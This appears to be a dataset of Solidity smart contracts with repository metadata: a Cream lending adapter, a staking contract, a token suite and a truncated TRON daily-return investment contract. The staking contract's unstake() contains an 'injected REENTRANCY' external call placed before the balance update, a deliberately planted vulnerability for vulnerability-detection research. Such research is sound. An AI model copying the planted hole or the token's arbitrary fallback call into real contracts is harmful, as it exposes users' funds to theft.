// Part: CErc20I
interface CErc20I is CTokenI {
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
function liquidateBorrow(address borrower,
uint256 repayAmount,
CTokenI cTokenCollateral) external returns (uint256);
function underlying() external view returns (address);
}
// Part: GenericLenderBase
abstract contract GenericLenderBase is IGenericLender {
using SafeERC20 for IERC20;
VaultAPI public vault;
address public override strategy;
IERC20 public want;
string public override lenderName;
uint256 public dust;
constructor(address _strategy, string memory name) public {
strategy = _strategy;
vault = VaultAPI(IBaseStrategy(strategy).vault());
want = IERC20(vault.token());
lenderName = name;
dust = 10000;
want.safeApprove(_strategy, uint256(-1));
}
function setDust(uint256 _dust) external virtual override management {
dust = _dust;
}
function sweep(address _token) external virtual override management {
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(vault.governance(), IERC20(_token).balanceOf(address(this)));
}
function protectedTokens() internal view virtual returns (address[] memory);
//make sure to use
modifier management() {
require(msg.sender == address(strategy) || msg.sender == vault.governance() || msg.sender == IBaseStrategy(strategy).strategist(),
"!management");
_;
}
}
// File: GenericCream.sol
contract GenericCream is GenericLenderBase {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 private constant blocksPerYear = 2_300_000;
CErc20I public cToken;
constructor(address _strategy,
string memory name,
address _cToken) public GenericLenderBase(_strategy, name) {
cToken = CErc20I(_cToken);
require(cToken.underlying() == address(want), "WRONG CTOKEN");
want.safeApprove(_cToken, uint256(-1));
}
function nav() external view override returns (uint256) {
return _nav();
}
function _nav() internal view returns (uint256) {
return want.balanceOf(address(this)).add(underlyingBalanceStored());
}
function underlyingBalanceStored() public view returns (uint256 balance) {
uint256 currentCr = cToken.balanceOf(address(this));
if (currentCr == 0) {
balance = 0;
} else {
//The current exchange rate as an unsigned integer, scaled by 1e18.
balance = currentCr.mul(cToken.exchangeRateStored()).div(1e18);
}
}
function apr() external view override returns (uint256) {
return _apr();
}
function _apr() internal view returns (uint256) {
return cToken.supplyRatePerBlock().mul(blocksPerYear);
}
function weightedApr() external view override returns (uint256) {
uint256 a = _apr();
return a.mul(_nav());
}
function withdraw(uint256 amount) external override management returns (uint256) {
return _withdraw(amount);
}
//emergency withdraw. sends balance plus amount to governance
function emergencyWithdraw(uint256 amount) external override management {
//dont care about error here
cToken.redeemUnderlying(amount);
want.safeTransfer(vault.governance(), want.balanceOf(address(this)));
}
//withdraw an amount including any want balance
function _withdraw(uint256 amount) internal returns (uint256) {
uint256 balanceUnderlying = cToken.balanceOfUnderlying(address(this));
uint256 looseBalance = want.balanceOf(address(this));
uint256 total = balanceUnderlying.add(looseBalance);
if (amount > total) {
//cant withdraw more than we own
amount = total;
}
if (looseBalance >= amount) {
want.safeTransfer(address(strategy), amount);
return amount;
}
//not state changing but OK because of previous call
uint256 liquidity = want.balanceOf(address(cToken));
if (liquidity > 1) {
uint256 toWithdraw = amount.sub(looseBalance);
if (toWithdraw <= liquidity) {
//we can take all
require(cToken.redeemUnderlying(toWithdraw) == 0, "ctoken: redeemUnderlying fail");
} else {
//take all we can
require(cToken.redeemUnderlying(liquidity) == 0, "ctoken: redeemUnderlying fail");
}
}
looseBalance = want.balanceOf(address(this));
want.safeTransfer(address(strategy), looseBalance);
return looseBalance;
}
function deposit() external override management {
uint256 balance = want.balanceOf(address(this));
require(cToken.mint(balance) == 0, "ctoken: mint fail");
}
function withdrawAll() external override management returns (bool) {
uint256 invested = _nav();
uint256 returned = _withdraw(invested);
return returned >= invested;
}
function hasAssets() external view override returns (bool) {
return cToken.balanceOf(address(this)) > 0;
}
function aprAfterDeposit(uint256 amount) external view override returns (uint256) {
uint256 cashPrior = want.balanceOf(address(cToken));
uint256 borrows = cToken.totalBorrows();
uint256 reserves = cToken.totalReserves();
uint256 reserverFactor = cToken.reserveFactorMantissa();
InterestRateModel model = cToken.interestRateModel();
//the supply rate is derived from the borrow rate, reserve factor and the amount of total borrows.
uint256 supplyRate = model.getSupplyRate(cashPrior.add(amount), borrows, reserves, reserverFactor);
return supplyRate.mul(blocksPerYear);
}
function protectedTokens() internal view override returns (address[] memory) {
address[] memory protected = new address[](2);
protected[0] = address(want);
protected[1] = address(cToken);
return protected;
}
}
| 255,903 | 1,706 |
8f9134d89198e3417f0ab2eef00595380511fc21cb3077a306fa74ea9a802338
| 14,081 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/reentrancy/manualCheck/0x9240c2d6e42db74a5a0553b83d21298304eecb9a_reentrancy.sol
| 2,541 | 9,841 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address payable public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract xSTAKEfinance is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// staking token contract address
address public constant tokenAddress = 0xb6aa337C9005FBf3a10Edde47DDde3541adb79Cb;
// reward rate 220.00% per year
uint public constant rewardRate = 22000;
uint public constant rewardInterval = 365 days;
uint public constant fee = 1e16;
// unstaking possible after 7 days
uint public constant cliffTime = 7 days;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfStakers() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) payable public {
require(msg.value >= fee, "Insufficient fee deposited.");
owner.transfer(msg.value);
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) payable public {
require(msg.value >= fee, "Insufficient fee deposited.");
owner.transfer(msg.value);
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
msg.sender.call.value(1)(""); //injected REENTRANCY
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
uint private constant stakingTokens = 680000e18;
function getStakingAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingTokens) {
return 0;
}
uint remaining = stakingTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
revert();
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
| 277,909 | 1,707 |
191d0169e739f7b0d7291afc09495ef83cfa649fe795d65658ad056b7850d560
| 13,720 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xa2a7f4bf61b5bf07611739941f62dec30541840a.sol
| 3,767 | 13,033 |
pragma solidity ^0.4.18;
contract useContractWeb {
ContractWeb internal web = ContractWeb(0x0);
}
contract Owned {
address public owner = msg.sender;
function transferOwner(address _newOwner) onlyOwner public returns (bool) {
owner = _newOwner;
return true;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract CheckPayloadSize {
modifier onlyPayloadSize(uint256 _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract CanTransferTokens is CheckPayloadSize, Owned {
function transferCustomToken(address _token, address _to, uint256 _value) onlyPayloadSize(3 * 32) onlyOwner public returns (bool) {
Token tkn = Token(_token);
return tkn.transfer(_to, _value);
}
}
contract SafeMath {
function add(uint256 x, uint256 y) pure internal returns (uint256) {
require(x <= x + y);
return x + y;
}
function sub(uint256 x, uint256 y) pure internal returns (uint256) {
require(x >= y);
return x - y;
}
}
contract CheckIfContract {
function isContract(address _addr) view internal returns (bool) {
uint256 length;
if (_addr == address(0x0)) return false;
assembly {
length := extcodesize(_addr)
}
if(length > 0) {
return true;
} else {
return false;
}
}
}
contract ContractReceiver {
TKN internal fallback;
struct TKN {
address sender;
uint256 value;
bytes data;
bytes4 sig;
}
function getFallback() view public returns (TKN) {
return fallback;
}
function tokenFallback(address _from, uint256 _value, bytes _data) public returns (bool) {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
fallback = tkn;
return true;
}
}
contract Token1st {
address public currentTradingSystem;
address public currentExchangeSystem;
mapping(address => uint) public balanceOf;
mapping(address => mapping (address => uint)) public allowance;
mapping(address => mapping (address => uint)) public tradingBalanceOf;
mapping(address => mapping (address => uint)) public exchangeBalanceOf;
function getBalanceOf(address _address) view public returns (uint amount){
return balanceOf[_address];
}
event Transfer (address _to, address _from, uint _decimalAmount);
function transferDecimalAmountFrom(address _from, address _to, uint _value) public returns (bool success) {
require(balanceOf[_from]
- tradingBalanceOf[_from][currentTradingSystem]
- exchangeBalanceOf[_from][currentExchangeSystem] >= _value); // Check if the sender has enough
require(balanceOf[_to] + (_value) >= balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
allowance[_from][msg.sender] -= _value;
Transfer(_to, _from, _value);
return true;
}
function approveSpenderDecimalAmount(address _spender, uint _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
}
contract ContractWeb is CanTransferTokens, CheckIfContract {
//contract name | contract info
mapping(string => contractInfo) internal contracts;
event ContractAdded(string _name, address _referredTo);
event ContractEdited(string _name, address _referredTo);
event ContractMadePermanent(string _name);
struct contractInfo {
address contractAddress;
bool isPermanent;
}
function getContractAddress(string _name) view public returns (address) {
return contracts[_name].contractAddress;
}
function isContractPermanent(string _name) view public returns (bool) {
return contracts[_name].isPermanent;
}
function setContract(string _name, address _address) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) {
require(isContract(_address));
require(this != _address);
require(contracts[_name].contractAddress != _address);
require(contracts[_name].isPermanent == false);
address oldAddress = contracts[_name].contractAddress;
contracts[_name].contractAddress = _address;
if(oldAddress == address(0x0)) {
ContractAdded(_name, _address);
} else {
ContractEdited(_name, _address);
}
return true;
}
function makeContractPermanent(string _name) onlyOwner public returns (bool) {
require(contracts[_name].contractAddress != address(0x0));
require(contracts[_name].isPermanent == false);
contracts[_name].isPermanent = true;
ContractMadePermanent(_name);
return true;
}
function tokenSetup(address _Tokens1st, address _Balancecs, address _Token, address _Conversion, address _Distribution) onlyPayloadSize(5 * 32) onlyOwner public returns (bool) {
setContract("Token1st", _Tokens1st);
setContract("Balances", _Balancecs);
setContract("Token", _Token);
setContract("Conversion", _Conversion);
setContract("Distribution", _Distribution);
return true;
}
}
contract Balances is CanTransferTokens, SafeMath, useContractWeb {
mapping(address => uint256) internal _balances;
function get(address _account) view public returns (uint256) {
return _balances[_account];
}
function tokenContract() view public returns (address) {
return web.getContractAddress("Token");
}
function Balances() public {
_balances[msg.sender] = 190 * 1000000 * 1000000000000000000;
}
modifier onlyToken {
require(msg.sender == tokenContract());
_;
}
function transfer(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) onlyToken public returns (bool success) {
_balances[_from] = sub(_balances[_from], _value);
_balances[_to] = add(_balances[_to], _value);
return true;
}
}
contract Token is CanTransferTokens, SafeMath, CheckIfContract, useContractWeb {
string public symbol = "SHC";
string public name = "ShineCoin";
uint8 public decimals = 18;
uint256 public totalSupply = 190 * 1000000 * 1000000000000000000;
mapping (address => mapping (address => uint256)) internal _allowance;
// ERC20 Events
event Approval(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
// ERC223 Event
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
function balanceOf(address _account) view public returns (uint256) {
return Balances(balancesContract()).get(_account);
}
function allowance(address _from, address _to) view public returns (uint256 remaining) {
return _allowance[_from][_to];
}
function balancesContract() view public returns (address) {
return web.getContractAddress("Balances");
}
function Token() public {
bytes memory empty;
Transfer(this, msg.sender, 190 * 1000000 * 1000000000000000000);
Transfer(this, msg.sender, 190 * 1000000 * 1000000000000000000, empty);
}
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) onlyPayloadSize(4 * 32) public returns (bool success) {
if(isContract(_to)) {
require(Balances(balancesContract()).get(msg.sender) >= _value);
Balances(balancesContract()).transfer(msg.sender, _to, _value);
ContractReceiver receiver = ContractReceiver(_to);
require(receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint256 _value, bytes _data) onlyPayloadSize(3 * 32) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal returns (bool success) {
require(Balances(balancesContract()).get(msg.sender) >= _value);
Balances(balancesContract()).transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint256 _value, bytes _data) internal returns (bool success) {
require(Balances(balancesContract()).get(msg.sender) >= _value);
Balances(balancesContract()).transfer(msg.sender, _to, _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
bytes memory empty;
require(_value > 0 && _allowance[_from][msg.sender] >= _value && Balances(balancesContract()).get(_from) >= _value);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value);
if(msg.sender != _to && isContract(_to)) {
Balances(balancesContract()).transfer(_from, _to, _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(_from, _value, empty);
} else {
Balances(balancesContract()).transfer(_from, _to, _value);
}
Transfer(_from, _to, _value);
Transfer(_from, _to, _value, empty);
return true;
}
function approve(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
_allowance[msg.sender][_to] = add(_allowance[msg.sender][_to], _value);
Approval(msg.sender, _to, _value);
return true;
}
}
contract Conversion is CanTransferTokens, useContractWeb {
function token1stContract() view public returns (address) {
return web.getContractAddress("Token1st");
}
function tokenContract() view public returns (address) {
return web.getContractAddress("Token");
}
function deposit() onlyOwner public returns (bool) {
require(Token(tokenContract()).allowance(owner, this) > 0);
return Token(tokenContract()).transferFrom(owner, this, Token(tokenContract()).allowance(owner, this));
}
function convert() public returns (bool) {
uint256 senderBalance = Token1st(token1stContract()).getBalanceOf(msg.sender);
require(Token1st(token1stContract()).allowance(msg.sender, this) >= senderBalance);
Token1st(token1stContract()).transferDecimalAmountFrom(msg.sender, owner, senderBalance);
return Token(tokenContract()).transfer(msg.sender, senderBalance * 10000000000);
}
}
contract Distribution is CanTransferTokens, SafeMath, useContractWeb {
uint256 public liveSince;
uint256 public withdrawn;
function withdrawnReadable() view public returns (uint256) {
return withdrawn / 1000000000000000000;
}
function secondsLive() view public returns (uint256) {
if(liveSince != 0) {
return now - liveSince;
}
}
function allowedSince() view public returns (uint256) {
return secondsLive() * 380265185769276972;
}
function allowedSinceReadable() view public returns (uint256) {
return secondsLive() * 380265185769276972 / 1000000000000000000;
}
function stillAllowed() view public returns (uint256) {
return allowedSince() - withdrawn;
}
function stillAllowedReadable() view public returns (uint256) {
uint256 _1 = allowedSince() - withdrawn;
return _1 / 1000000000000000000;
}
function tokenContract() view public returns (address) {
return web.getContractAddress("Token");
}
function makeLive() onlyOwner public returns (bool) {
require(liveSince == 0);
liveSince = now;
return true;
}
function deposit() onlyOwner public returns (bool) {
require(Token(tokenContract()).allowance(owner, this) > 0);
return Token(tokenContract()).transferFrom(owner, this, Token(tokenContract()).allowance(owner, this));
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) {
require(stillAllowed() >= _value && _value > 0 && liveSince != 0);
withdrawn = add(withdrawn, _value);
return Token(tokenContract()).transfer(_to, _value);
}
function transferReadable(address _to, uint256 _value) onlyPayloadSize(2 * 32) onlyOwner public returns (bool) {
require(stillAllowed() >= _value * 1000000000000000000 && stillAllowed() != 0 && liveSince != 0);
withdrawn = add(withdrawn, _value * 1000000000000000000);
return Token(tokenContract()).transfer(_to, _value * 1000000000000000000);
}
}
| 133,928 | 1,708 |
68e1f2fdd33f82a479c4c2821b289e9696ca1ddb949b05991850c60d55384963
| 21,479 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPLLoruUr9SZru2JgVHuisgYnMs9wQkarX_GalaxyOfTron.sol
| 5,739 | 20,303 |
//SourceUnit: galaxyoftronOK.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 level4RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract GalaxyOfTron is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 50; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 50;
uint256 private constant REFERENCE_RATE = 100; // total referral per thousand
uint256 public constant REFERENCE_LEVEL1_RATE = 50; // 5%
uint256 public constant REFERENCE_LEVEL2_RATE = 30; // 3%
uint256 public constant REFERENCE_LEVEL3_RATE = 10; // 1%
uint256 public constant REFERENCE_LEVEL4_RATE = 10; // 1%
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(35, 56*60*60*24,45));
investmentPlans_.push(Objects.Plan(45, 44*60*60*24,55));
investmentPlans_.push(Objects.Plan(55, 36*60*60*24,65));
investmentPlans_.push(Objects.Plan(65, 30*60*60*24,75));
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function myWallet() public view returns (uint256) {
return address(msg.sender).balance;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.level4RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
